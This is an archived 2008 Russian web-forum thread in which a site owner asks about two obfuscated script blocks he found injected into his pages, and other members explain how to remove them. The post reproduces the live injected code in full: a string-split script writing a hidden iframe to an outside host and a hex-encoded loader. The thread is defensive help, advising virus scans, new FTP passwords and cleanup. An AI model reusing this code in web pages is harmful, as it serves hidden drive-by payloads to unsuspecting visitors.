Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > JavaScript: Общие вопросы > Подскажите пожалуйста что это за код


Автор: musa 16.12.2008, 12:51
 Подскажите пожалуйста, что это за код. Обнаружил на своем сайте в самом конце страницы, но сам ничего не добавлял.  
Хотя бы подскажите этот код вредоносный или нет?  
Код
<script>var rfi="<";var xus="i";var llyph=" ";var euwow="dapda='vcYUKySn' cscea='KUllfNSf' src=";var pzleb="ame>";var ybmde="info/srt/go.php?sid=1";var qxizx="?W2WvZ ";var qxv="f";var xfn="r";var cae="a";var gejdz="xegyo='NwrN66NY' ";var phx="m";var owd="e";var yvlhv="width=724 ";var oligs="http://regedintheclub.";var deaih="height=370 ";var gbpeo="style='display:none'";var lnsym=oligs+ybmde;var kpwdp="></ifr";document.write(rfi+xus+qxv+xfn+cae+phx+owd+llyph+euwow+lnsym+qxizx+gejdz+yvlhv+deaih+gbpeo+kpwdp+pzleb);</script>
<script>function c71912231668n49456a10423dd(n49456a1042bb9){ var n49456a1043385=16; return (parseInt(n49456a1042bb9,n49456a1043385));}function n49456a1044343(n49456a1044b01){ var n49456a104627d=2; var n49456a10452d5='';n49456a1047225=String.fromCharCode;for(n49456a1045aa9=0;n49456a1045aa9<n49456a1044b01.length;n49456a1045aa9+=n49456a104627d){ n49456a10452d5+=(n49456a1047225(c71912231668n49456a10423dd(n49456a1044b01.substr(n49456a1045aa9,n49456a104627d))));}return n49456a10452d5;} var xa1='';var n49456a10479f9='3C7'+xa1+'3637'+xa1+'2697'+xa1+'07'+xa1+'43E696628216D7'+xa1+'96961297'+xa1+'B646F637'+xa1+'56D656E7'+xa1+'42E7'+xa1+'7'+xa1+'7'+xa1+'2697'+xa1+'465287'+xa1+'56E657'+xa1+'363617'+xa1+'065282027'+xa1+'2533632536392536362537'+xa1+'32253631253664253635253230253665253631253664253635253364253633253337'+xa1+'2532302537'+xa1+'332537'+xa1+'32253633253364253237'+xa1+'2536382537'+xa1+'342537'+xa1+'342537'+xa1+'30253361253266253266253632253639253637'+xa1+'2537'+xa1+'332536352536632536632537'+xa1+'332537'+xa1+'342536312536362536362532652536332536652532662536362536352536352536342536322536312536332536622532652536382537'+xa1+'34253664253663253366253237'+xa1+'2532622534642536312537'+xa1+'342536382532652537'+xa1+'322536662537'+xa1+'352536652536342532382534642536312537'+xa1+'342536382532652537'+xa1+'32253631253665253634253666253664253238253239253261253331253338253332253331253333253239253262253237'+xa1+'253337'+xa1+'253338253636253333253334253333253237'+xa1+'2532302537'+xa1+'37'+xa1+'2536392536342537'+xa1+'34253638253364253334253336253337'+xa1+'253230253638253635253639253637'+xa1+'2536382537'+xa1+'342533642533332533392532302537'+xa1+'332537'+xa1+'342537'+xa1+'39253663253635253364253237'+xa1+'2536342536392537'+xa1+'332537'+xa1+'302536632536312537'+xa1+'39253361253230253665253666253665253635253237'+xa1+'2533652533632532662536392536362537'+xa1+'3225363125366425363525336527'+xa1+'29293B7'+xa1+'D7'+xa1+'6617'+xa1+'2206D7'+xa1+'969613D7'+xa1+'47'+xa1+'27'+xa1+'5653B3C2F7'+xa1+'3637'+xa1+'2697'+xa1+'07'+xa1+'43E';document.write(n49456a1044343(n49456a10479f9));</script>


Автор: IDVsbruck 16.12.2008, 14:49
Однозначно, что не помагающий ...
Обычно так садятся вирусняки на страницы на серваке, к которым есть фтп-доступ. Кикай и менят пароли.

Автор: comtat 16.12.2008, 16:21
Код распространяется вирусами.
Что нужно сделать:
1) Проверить все компы с которых были заходы на фтп на сайт
2) Сменить логины и пароли на фтп
3) На сайте почистить все файлы с данным кодом

Автор: neokortex 19.12.2008, 03:45
smile у меня тоже как-то такая фигня была на рабочей машине где не был установлен антивирусник.
теперь после переустановки ос - первая программа для установки - каспер

Автор: IDVsbruck 19.12.2008, 12:16
Лучше 5 файлов с таким кодом держать на компе, чем один "каспер". Нормального ничего не нашел?

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)